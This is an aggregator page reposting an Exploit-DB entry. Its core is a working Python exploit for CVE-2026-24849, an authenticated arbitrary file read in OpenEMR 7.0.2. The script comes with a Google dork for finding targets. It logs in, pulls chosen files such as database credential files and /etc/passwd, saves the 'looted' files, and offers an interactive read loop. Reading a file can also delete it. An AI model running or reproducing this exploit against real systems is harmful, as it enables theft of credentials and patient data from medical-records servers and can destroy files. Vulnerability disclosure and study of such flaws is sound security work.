惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Webroot Blog
Webroot Blog
Last Week in AI
Last Week in AI
WordPress大学
WordPress大学
Y
Y Combinator Blog
F
Fortinet All Blogs
B
Blog RSS Feed
H
Hackread – Cybersecurity News, Data Breaches, AI and More
C
Check Point Blog
博客园 - 【当耐特】
V
V2EX
云风的 BLOG
云风的 BLOG
Vercel News
Vercel News
GbyAI
GbyAI
美团技术团队
Jina AI
Jina AI
雷峰网
雷峰网
Hugging Face - Blog
Hugging Face - Blog
MongoDB | Blog
MongoDB | Blog
F
Full Disclosure
阮一峰的网络日志
阮一峰的网络日志
宝玉的分享
宝玉的分享
人人都是产品经理
人人都是产品经理
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
小众软件
小众软件
The GitHub Blog
The GitHub Blog
NISL@THU
NISL@THU
D
Docker
MyScale Blog
MyScale Blog
V
Vulnerabilities – Threatpost
S
SegmentFault 最新的问题
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
S
Schneier on Security
K
Kaspersky official blog
AWS News Blog
AWS News Blog
The Hacker News
The Hacker News
Latest news
Latest news
C
CXSECURITY Database RSS Feed - CXSecurity.com
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Know Your Adversary
Know Your Adversary
L
LINUX DO - 热门话题
P
Privacy & Cybersecurity Law Blog
L
Lohrmann on Cybersecurity
C
Cisco Blogs
Simon Willison's Weblog
Simon Willison's Weblog
Cisco Talos Blog
Cisco Talos Blog
N
News and Events Feed by Topic
Google DeepMind News
Google DeepMind News
Help Net Security
Help Net Security
C
Cybersecurity and Infrastructure Security Agency CISA
B
Blog

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
doany1 · 2026-06-08 · via Exploit-DB.com RSS Feed

OpenEMR 7.0.2 - Arbitrary File Read

# Exploit Title: OpenEMR 7.0.2 - Arbitrary File Read  
# Google Dork: intitle:"OpenEMR" inurl:"interface/login/login.php"
# Date: 2026-06-06
# Exploit Author: doany1
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/7.0.2/openemr-7.0.2.tar.gz/download
# Version: OpenEMR < 7.0.4 (tested on 7.0.2)
# Tested on: Ubuntu 22.04 / PHP 8.1 / Apache 2.4 (OpenEMR 7.0.2)
# CVE : CVE-2026-24849
# CWE : CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
#
# Description:
#   The Fax/SMS module's EtherFaxActions::disposeDoc() method
#   (interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied
#   `file_path` request parameter and passes it straight to readfile() with no
#   path validation. The method never calls authenticate(), so the only thing
#   required to reach it is a valid OpenEMR session.
#
# Privilege required:
#   ANY authenticated user -- this is NOT an admin-only bug. A low-privilege
#   account (receptionist, clinician, etc.) can read any file the web-server
#   user can reach: sites/default/sqlconf.php (DB credentials), /etc/passwd,
#   application source, and so on. The admin/pass values in the examples below
#   are only convenient demo credentials, not a requirement of the bug.
#
# Prerequisites:
#   - Any valid OpenEMR login (no privileges required).
#   - The Fax/SMS module enabled with EtherFax selected as the fax provider
#     (the file read does NOT require a real EtherFax account).
#
# WARNING (destructive):
#   disposeDoc() calls unlink() on the target *after* reading it. Reading a file
#   that the web-server user is allowed to delete WILL remove it. Prefer
#   root-owned targets (e.g. /etc/passwd) whose parent directory the web user
#   cannot write, so the unlink() fails and the file survives.
#
# References:
#   https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
#   https://nvd.nist.gov/vuln/detail/CVE-2026-24849
#
# Usage:
#   Interactive (prompts for everything):
#     python3 exploit-CVE-2026-24849.py
#   Non-interactive:
#     python3 exploit-CVE-2026-24849.py -t http://10.10.10.10 -u admin -P pass \
#         -f /var/www/html/openemr/sites/default/sqlconf.php

import argparse
import getpass
import re
import sys

try:
    import requests
    from urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    sys.exit("[-] This exploit needs the 'requests' module:  pip3 install requests")

UA = "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0"
FAXSMS = "/interface/modules/custom_modules/oe-module-faxsms/index.php"
# Method name varies across affected minor versions (disposeDoc <-> disposeDocument).
ACTIONS = ["disposeDoc", "disposeDocument"]
# An unauthenticated request is answered with a JS redirect to this path.
# (Use a narrow marker: every OpenEMR page embeds generic timeout JS.)
FAIL_MARKER = "login_screen.php?error=1"


def ask(prompt, default=None, secret=False):
    label = "%s [%s]: " % (prompt, default) if default else "%s: " % prompt
    value = getpass.getpass(label) if secret else input(label).strip()
    return value or default


def login(sess, base, site, user, password):
    """Establish an OpenEMR session in `sess`. Validity is confirmed later by an
    actual file read, so this just performs the GET (CSRF prime) + POST."""
    # 1) prime a session cookie and grab the CSRF token if the form exposes one
    r = sess.get(base + "/interface/login/login.php",
                 params={"site": site}, timeout=20, verify=False)
    m = re.search(r"csrf_token_form.*?value=([\"'])(.*?)\1", r.text, re.S)

    data = {
        "new_login_session_management": "1",
        "authProvider": "Default",
        "authUser": user,
        "clearPass": password,
        "languageChoice": "1",
    }
    if m:  # OpenEMR doesn't enforce it on this POST, but send it when present
        data["csrf_token_form"] = m.group(2)

    # 2) authenticate
    sess.post(base + "/interface/main/main_screen.php",
              params={"auth": "login", "site": site},
              data=data, timeout=20, verify=False)


def read_file(sess, base, site, remote_path):
    """Return (content, status). status in {ok, session, missing}."""
    for action in ACTIONS:
        r = sess.get(base + FAXSMS,
                     params={"site": site, "type": "fax",
                             "_ACTION_COMMAND": action,
                             "file_path": remote_path, "action": "download"},
                     timeout=20, verify=False)
        body = r.text
        if FAIL_MARKER in body:
            return None, "session"
        if "Problem with download" in body:
            return None, "missing"            # method ran, file absent/unreadable
        if body.strip() == "":
            continue                          # likely wrong method name -> try next
        return body, "ok"
    return None, "missing"


def main():
    ap = argparse.ArgumentParser(
        description="OpenEMR < 7.0.4 authenticated arbitrary file read (CVE-2026-24849)")
    ap.add_argument("-t", "--target", help="Base URL, e.g. http://10.10.10.10")
    ap.add_argument("-u", "--user", help="OpenEMR username (default: admin)")
    ap.add_argument("-P", "--password", help="OpenEMR password")
    ap.add_argument("-s", "--site", help="OpenEMR site (default: default)")
    ap.add_argument("-f", "--file", help="Absolute path of the remote file to read")
    ap.add_argument("-o", "--output", help="Save looted file here instead of printing")
    args = ap.parse_args()

    print("[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)\n")

    target = args.target or ask("Target base URL (e.g. http://10.10.10.10)")
    if not target:
        sys.exit("[-] Target is required.")
    target = target.rstrip("/")
    if not target.startswith("http"):
        target = "http://" + target

    user = args.user or ask("Username", default="admin")
    password = args.password if args.password is not None else ask("Password", secret=True)
    site = args.site or ask("Site", default="default")

    sess = requests.Session()
    sess.headers.update({"User-Agent": UA})

    try:
        print("[*] Authenticating to %s as '%s' ..." % (target, user))
        login(sess, target, site, user, password)
        # Confirm auth + that the vulnerable module is reachable by reading a
        # safe, root-owned probe file (its unlink() fails, so it is not deleted).
        _, status = read_file(sess, target, site, "/etc/hostname")
    except requests.RequestException as e:
        sys.exit("[-] Connection error: %s" % e)

    if status == "session":
        sys.exit("[-] Login failed - check credentials / site.")
    if status == "missing":
        print("[!] Logged in, but the file-read returned nothing.")
        print("    Confirm the Fax/SMS module is enabled with EtherFax as the provider.\n")
    else:
        print("[+] Authenticated; CVE-2026-24849 file-read confirmed.\n")

    def loot(path):
        try:
            data, status = read_file(sess, target, site, path)
        except requests.RequestException as e:
            print("[-] Connection error: %s" % e)
            return "error"
        if status == "session":
            print("[-] Session rejected (auth/ACL problem).")
        elif status == "missing":
            print("[-] '%s' not found/readable, or Fax/SMS+EtherFax is not enabled." % path)
        else:
            if args.output:
                with open(args.output, "w") as fh:
                    fh.write(data)
                print("[+] %d bytes of '%s' written to %s" % (len(data), path, args.output))
            else:
                print("[+] ---------- %s ----------" % path)
                sys.stdout.write(data if data.endswith("\n") else data + "\n")
                print("[+] --------------------------")
        return status

    # single-shot mode
    if args.file:
        status = loot(args.file)
        sys.exit(0 if status == "ok" else 2)

    # interactive mode: read files until the operator quits
    print("[*] Interactive read - enter absolute file paths (blank or 'q' to quit).")
    print("    Reminder: disposeDoc() unlink()s the target after reading - prefer root-owned files.\n")
    while True:
        path = ask("file_path(Which file would you like to see e.g /etc/passwd)")
        if not path or path.lower() in ("q", "quit", "exit"):
            break
        loot(path)
        print()


if __name__ == "__main__":
    main()